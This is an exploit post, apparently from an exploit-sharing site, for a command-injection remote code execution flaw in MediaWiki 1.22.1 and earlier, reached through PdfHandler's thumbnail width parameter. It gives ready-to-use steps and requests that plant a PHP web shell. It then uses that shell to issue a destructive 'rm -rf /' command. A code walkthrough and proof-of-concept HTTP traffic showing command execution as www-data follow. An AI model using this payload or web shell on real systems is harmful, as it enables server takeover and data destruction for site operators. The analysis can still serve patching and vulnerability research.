MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit

2014-02-0200:00:00
@u0x
0day.today
109
0.083 Low
EPSS
Percentile
93.7%
JSON
Exploit for multiple platform in category web applications
# Exploit:
####################################################################
1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled)
http://vulnerable-site/index.php/Special:Upload
2. inject os cmd to upload a php-backdoor
http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|`echo%20
"<?php%20system(\\$_GET[1]);">images/xnz.php`
3. access to php-backdoor!
http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root
4. happy pwning!!
 
 
# Related files:
####################################################################
thumb.php <-- extract all _GET array to params
/extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width
options
/includes/media/ImageHandler.php
/includes/GlobalFunctions.php
/includes/filerepo/file/File.php
 
# Vulnerability Analysis:
####################################################################
1. thumb.php
This script used to resize images if it is configured to be done
when the web browser requests the image
<? ...
1.1 Called directly, use $_GET params
wfThumbHandleRequest();
1.2 Handle a thumbnail request via query parameters
function wfThumbHandleRequest() {
$params = get_magic_quotes_gpc()
? array_map( 'stripslashes', $_GET )
: $_GET; << WTF
 
wfStreamThumb( $params ); // stream the thumbnail
}
1.3 Stream a thumbnail specified by parameters
function wfStreamThumb( array $params ) {
...
$fileName = isset( $params['f'] ) ? $params['f'] : ''; // << puts
uploaded.pdf file here
...
// Backwards compatibility parameters
if ( isset( $params['w'] ) ) {
$params['width'] = $params['w']; // << Inject os cmd here!
unset( $params['w'] );
}
...
$img = wfLocalFile( $fileName );
...
// Thumbnail isn't already there, so create the new thumbnail...
$thumb = $img->transform( $params, File::RENDER_NOW ); // << resize image
by width/height
...
// Stream the file if there were no errors
$thumb->streamFile( $headers );
...
?>
2. /includes/filerepo/file/File.php
<? ...
function transform( $params, $flags = 0 ) { ...
$handler = $this->getHandler(); // << PDF Handler
...
$normalisedParams = $params;
$handler->normaliseParams( $this, $normalisedParams );
...
$thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params );
..
?>
3. /extensions/PdfHandler/PdfHandler_body.php
<? ...
function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) {
...
$width = $params['width'];
...
$cmd = '(' . wfEscapeShellArg( $wgPdfProcessor ); // << craft shell cmd &
parameters
$cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page}
-dLastPage={$page}";
$cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg(
$srcPath );
$cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor );
$cmd .= " -depth 8 -resize {$width} - "; // << FAILED to escape shell
argument
$cmd .= wfEscapeShellArg( $dstPath ) . ")";
$cmd .= " 2>&1";
...
$err = wfShellExec( $cmd, $retval );
...
?>
4. /includes/GlobalFunctions.php
Execute a shell command, with time and memory limits
<? ...
function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits =
array() ) {
...
passthru( $cmd, $retval ); // << Execute here!!
 
# Proof-Of-Concept
####################################################################
GET /mediawiki1221/thumb.php?f=longcat.pdf&w=10|`echo%20%22%3C
php%20system(\\$_GET[1]);%22%3Eimages/longcat.php`
HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: my_wikiUserID=2; my_wikiUserName=Longcat;
my_wiki_session=op3h2huvddnmg7gji0pscfsg02
 
<html><head><title>Error generating thumbnail</title></head>
<body>
<h1>Error generating thumbnail</h1>
<p>
เกิดปัญหาไม่สามารถทำรูปย่อได้: /bin/bash: -: command not found<br />
convert: option requires an argument `-resize' @
error/convert.c/ConvertImageCommand/2380.<br />
GPL Ghostscript 9.10: Unrecoverable error, exit code 1<br />
 
</p>
 
</body>
</html>
 
 
GET /mediawiki1221/images/longcat.php?1=id HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: my_wikiLoggedOut=1391266363; my_wikiUserID=2;
my_wikiUserName=Longcat; my_wiki_session=bvg0n4o0sn6ug04lg26luqfcg1
 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
 
# Back-end $cmd
####################################################################
GlobalFunctions.php : wfShellExec()
cmd = ('gs' -sDEVICE=jpeg -sOutputFile=- -dFirstPage=1 -dLastPage=1 -r150
-dBATCH -dNOPAUSE -q '/var/www/mediawiki1221/images/2/27/Longcat.pdf' |
'/usr/bin/convert' -depth 8 -resize 10|`echo "<?php
system(\\$_GET[1]);">images/longcat.php` -
'/tmp/transform_0e377aad0e27-1.jpg') 2>&1
 
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=ooEs
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